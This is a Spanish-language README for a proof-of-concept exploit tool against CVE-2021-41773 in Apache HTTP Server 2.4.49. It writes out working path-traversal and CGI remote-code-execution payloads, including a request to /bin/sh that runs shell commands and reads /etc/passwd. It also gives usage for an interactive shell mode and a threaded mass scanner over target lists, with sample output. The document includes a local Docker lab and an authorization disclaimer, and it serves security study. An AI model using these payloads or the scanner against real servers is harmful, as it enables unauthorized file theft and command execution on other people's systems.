
Prueba de concepto de CVE-2021-41773
Solo para uso en entornos controlados y propios. No usar contra sistemas sin autorización.
PoC desarrollada para demostrar y entender la vulnerabilidad CVE-2021-41773, presente en Apache HTTP Server 2.4.49.
El fallo reside en la función ap_normalize_path(), que no validaba correctamente los caracteres codificados en URL. Esto permitía a un atacante saltar fuera del DocumentRoot mediante una secuencia de caracteres codificados (%2e%2e%2f en lugar de ../), leyendo archivos arbitrarios del sistema.
Cuando el módulo mod_cgi estaba habilitado, la vulnerabilidad escalaba a RCE (Remote Code Execution), permitiendo ejecutar comandos directamente en el servidor con los permisos del proceso Apache.
El servidor debe cumplir todas estas condiciones para ser vulnerable:
| Condición | Detalle |
|---|---|
| Versión de Apache | Exactamente 2.4.49 |
| Directiva de acceso | Require all granted en la configuración |
| Módulo CGI | mod_cgi habilitado (solo para RCE) |
Apache 2.4.49 filtraba el clásico ../ pero no su versión codificada en URL. El atacante construye una ruta que el filtro no detecta, pero que el sistema operativo interpreta correctamente:
GET /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
%2e%2e%2f es la codificación URL de ../. Apache lo dejaba pasar, el OS lo resolvía, y el resultado era acceso a archivos fuera del directorio web.
Con mod_cgi activo, el path traversal se usa para apuntar a /bin/sh en lugar de un archivo. Apache lo trata como un script CGI y lo ejecuta. El comando viaja en el body del POST como un script shell mínimo:
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
Content-Type: application/x-www-form-urlencoded
echo 'Content-Type: text/plain'; echo; id 2>&1
El output del comando llega en la respuesta HTTP.
El repositorio incluye un entorno listo para reproducir la vulnerabilidad en setup/:
cd setup
docker compose up -d
Esto levanta Apache 2.4.49 en el puerto 8080 con la configuración vulnerable (Require all granted + mod_cgi habilitado). Los archivos del lab:
| Archivo | Descripción |
|---|---|
setup/docker-compose.yml | Contenedor con Apache 2.4.49 |
setup/httpd.conf | Configuración vulnerable de Apache |
Los archivos de configuración utilizados están en setup/.
¿Por qué urllib3 y no requests?
requests re-encodea automáticamente los caracteres del path antes de enviarlos.
Eso rompe el payload porque el servidor recibe %252e en lugar de %2e.
urllib3 permite enviar el path sin modificaciones.
¿Por qué .%2e/ y no %2e%2e/?
Apache filtra %2e%2e/ en el módulo mod_rewrite.
La variante .%2e/ es semánticamente equivalente pero pasa el filtro,
porque la normalización del path ocurre después de la validación.
mod_cgi debe estar habilitado para que el modo RCE funcione.
Sin él, solo es posible el path traversal.python PoC_2021-41773.py --target <URL> --mode <modo> [opciones]
python PoC_2021-41773.py --input-file <archivo> --mode check [--threads N] [--output resultados.json]
| Argumento | Requerido | Descripción |
|---|---|---|
--target | Sí* | URL base del servidor (ej: http://localhost:8080) |
--input-file / -iF | Sí* | Archivo con lista de targets (uno por línea) |
--mode | Sí | Modo de operación (ver tabla abajo) |
--cmd | No | Comando a ejecutar en modo rce (default: id) |
--file | No | Archivo a leer en modo traversal (default: /etc/passwd) |
--threads / -t | No | Hilos para escaneo masivo (default: 10, solo con --input-file) |
--output / -o | No | Exportar resultados a JSON (solo con --input-file) |
* --target y --input-file son mutuamente excluyentes — se usa uno u otro.
| Modo | Descripción |
|---|---|
check | Verifica si el target es vulnerable y si mod_cgi está habilitado, sin extraer datos sensibles |
traversal | Lee un archivo arbitrario del sistema vía path traversal |
rce | Ejecuta un comando individual en el servidor vía mod_cgi |
shell | Pseudo-shell interactivo para ejecutar comandos RCE en serie |
# Verificar si el servidor es vulnerable
python PoC_2021-41773.py --target http://localhost:8080 --mode check
# Leer /etc/passwd del servidor
python PoC_2021-41773.py --target http://localhost:8080 --mode traversal
# Leer un archivo específico
python PoC_2021-41773.py --target http://localhost:8080 --mode traversal --file /etc/hosts
# Ejecutar un comando
python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd whoami
# Abrir un pseudo-shell interactivo
python PoC_2021-41773.py --target http://localhost:8080 --mode shell
# Escaneo masivo con exportación a JSON
python PoC_2021-41773.py -iF targets.txt --mode check -t 20 -o results.json
───────────────────────────────────────────────────────
CVE-2021-41773 — Apache 2.4.49 Path Traversal + RCE
PoC con fines educativos y profesionales
───────────────────────────────────────────────────────
[*] Modo: Check de vulnerabilidad
[*] Objetivo: http://localhost:8080
[*] Probando traversal contra /etc/hostname...
[*] Header Server: Apache/2.4.49 (Unix)
[+] VULNERABLE — el servidor devolvió /etc/hostname
Hostname: e0d20311f3e6
[+] mod_cgi habilitado — RCE posible
[+] Modo: Path Traversal
[*] Objetivo: http://localhost:8080
[*] Archivo: /etc/passwd
[*] URL: http://localhost:8080/traversal/.%2e/.%2e/.%2e/.%2e/etc/passwd
[*] Enviando request...
[+] Servidor vulnerable — Status 200
──────────────────────────────────────────────────
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
──────────────────────────────────────────────────
[+] Modo: RCE via mod_cgi
[*] Objetivo: http://localhost:8080
[*] Comando: whoami
[*] Enviando request...
[+] RCE confirmado
──────────────────────────────────────────────────
daemon
──────────────────────────────────────────────────
[+] Modo: Shell interactivo via mod_cgi
[*] Objetivo: http://localhost:8080
[*] Verificando RCE...
[+] RCE confirmado — uid=1(daemon) gid=1(daemon) groups=1(daemon)
[*] Escribí 'exit' o 'quit' para salir.
apache> id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
apache> ls /
bin boot dev etc home lib lib64 ...
apache> exit
[*] Cerrando shell.
[*] Cargados 5 targets
[*] Threads: 5
[*] Iniciando escaneo...
[1/5] [+] http://10.0.0.1:8080 — VULNERABLE (RCE)
[2/5] [-] http://10.0.0.2:8080 — no vulnerable
[3/5] [!] http://10.0.0.3:9999 — error de conexión
[4/5] [+] http://10.0.0.4:8080 — VULNERABLE (solo traversal)
[5/5] [!] http://10.0.0.5:1234 — error de conexión
══════════════════════════════════════════════════
Resultados: 5 targets escaneados
Vulnerables: 2 (1 con RCE)
No vulnerables: 1
Errores: 2
Exportado a: results.json
══════════════════════════════════════════════════
El archivo JSON contiene metadata del escaneo y un array de resultados con target, status, server, hostname y rce por cada objetivo.